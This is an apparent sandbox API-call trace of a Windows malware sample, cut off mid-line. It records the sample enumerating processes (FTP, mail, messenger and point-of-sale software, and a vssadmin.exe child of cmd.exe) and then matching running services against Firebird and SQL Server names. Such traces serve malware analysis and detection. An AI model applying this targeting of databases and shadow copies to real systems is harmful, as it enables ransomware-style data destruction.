th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.841] lstrlenW (lpString="coreftp.exe") returned 11 [0076.841] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.841] lstrlenW (lpString="far.exe") returned 7 [0076.841] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.841] lstrlenW (lpString="filezilla.exe") returned 13 [0076.841] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.841] lstrlenW (lpString="flashfxp.exe") returned 12 [0076.842] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.842] lstrlenW (lpString="fling.exe") returned 9 [0076.842] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.842] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0076.842] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.843] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0076.843] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.843] lstrlenW (lpString="icq.exe") returned 7 [0076.843] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0076.843] lstrlenW (lpString="leechftp.exe") returned 12 [0076.843] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0076.843] lstrlenW (lpString="ncftp.exe") returned 9 [0076.844] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0076.844] lstrlenW (lpString="notepad.exe") returned 11 [0076.844] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0076.844] lstrlenW (lpString="operamail.exe") returned 13 [0076.844] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0076.845] lstrlenW (lpString="pidgin.exe") returned 10 [0076.845] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0076.845] lstrlenW (lpString="scriptftp.exe") returned 13 [0076.845] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0076.846] lstrlenW (lpString="skype.exe") returned 9 [0076.846] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0076.846] lstrlenW (lpString="smartftp.exe") returned 12 [0076.846] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0076.846] lstrlenW (lpString="thunderbird.exe") returned 15 [0076.846] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0076.847] lstrlenW (lpString="totalcmd.exe") returned 12 [0076.847] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.847] lstrlenW (lpString="trillian.exe") returned 12 [0076.847] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0076.848] lstrlenW (lpString="webdrive.exe") returned 12 [0076.848] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.848] lstrlenW (lpString="whatsapp.exe") returned 12 [0076.848] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.848] lstrlenW (lpString="winscp.exe") returned 10 [0076.849] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.849] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0076.849] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.849] lstrlenW (lpString="active-charge.exe") returned 17 [0076.849] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0076.850] lstrlenW (lpString="accupos.exe") returned 11 [0076.850] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.850] lstrlenW (lpString="afr38.exe") returned 9 [0076.850] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.851] lstrlenW (lpString="aldelo.exe") returned 10 [0076.851] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.851] lstrlenW (lpString="ccv_server.exe") returned 14 [0076.851] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.851] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0076.851] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0076.852] lstrlenW (lpString="creditservice.exe") returned 17 [0076.852] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0076.852] lstrlenW (lpString="edcsvr.exe") returned 10 [0076.852] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0076.853] lstrlenW (lpString="fpos.exe") returned 8 [0076.853] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0076.853] lstrlenW (lpString="isspos.exe") returned 10 [0076.853] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0076.853] lstrlenW (lpString="mxslipstream.exe") returned 16 [0076.853] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0076.854] lstrlenW (lpString="omnipos.exe") returned 11 [0076.854] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0076.854] lstrlenW (lpString="spcwin.exe") returned 10 [0076.854] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0076.854] lstrlenW (lpString="spgagentservice.exe") returned 19 [0076.854] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0076.855] lstrlenW (lpString="utg2.exe") returned 8 [0076.855] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0076.855] lstrlenW (lpString="nj_sh.exe") returned 9 [0076.855] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0076.855] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0076.856] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0076.856] lstrlenW (lpString="telecommunications.exe") returned 22 [0076.856] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0076.856] lstrlenW (lpString="sound banking.exe") returned 17 [0076.856] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.857] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.857] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.857] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.857] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.858] lstrlenW (lpString="taskhost.exe") returned 12 [0076.858] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0076.858] lstrlenW (lpString="winhost.exe") returned 11 [0076.858] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0076.858] lstrlenW (lpString="cmd.exe") returned 7 [0076.858] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.859] lstrlenW (lpString="conhost.exe") returned 11 [0076.859] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0076.859] lstrlenW (lpString="vssadmin.exe") returned 12 [0076.859] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0076.859] lstrlenW (lpString="VSSVC.exe") returned 9 [0076.859] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.860] lstrlenW (lpString="svchost.exe") returned 11 [0076.860] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0076.860] CloseHandle (hObject=0x168) returned 1 [0076.860] Sleep (dwMilliseconds=0x1f4) [0077.505] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff00 [0077.506] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0077.506] GetLastError () returned 0xea [0077.506] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0077.507] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0077.507] CloseServiceHandle (hSCObject=0x52ff00) returned 1 [0077.508] lstrlenW (lpString="Appinfo") returned 7 [0077.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0077.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0077.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0077.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0077.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0077.508] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0077.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0077.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0077.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0077.508] lstrlenW (lpString="AudioSrv") returned 8 [0077.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0077.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0077.508] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0077.508] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0077.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0077.508] lstrlenW (lpString="BFE") returned 3 [0077.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0077.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0077.508] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0077.509] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0077.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0077.509] lstrlenW (lpString="CryptSvc") returned 8 [0077.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0077.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0077.519] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0077.519] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0077.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0077.519] lstrlenW (lpString="CscService") returned 10 [0077.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0077.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0077.519] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0077.519] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0077.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0077.519] lstrlenW (lpString="DcomLaunch") returned 10 [0077.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.519] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0077.519] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0077.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0077.520] lstrlenW (lpString="Dhcp") returned 4 [0077.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0077.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0077.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0077.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0077.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0077.520] lstrlenW (lpString="Dnscache") returned 8 [0077.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0077.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0077.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0077.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0077.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0077.520] lstrlenW (lpString="DPS") returned 3 [0077.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0077.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0077.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0077.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0077.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0077.520] lstrlenW (lpString="eventlog") returned 8 [0077.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0077.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0077.520] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0077.520] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0077.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0077.520] lstrlenW (lpString="EventSystem") returned 11 [0077.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0077.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0077.520] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0077.521] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0077.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0077.521] lstrlenW (lpString="gpsvc") returned 5 [0077.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0077.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0077.521] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0077.521] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0077.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0077.521] lstrlenW (lpString="iphlpsvc") returned 8 [0077.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.521] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0077.521] lstrcmpiW 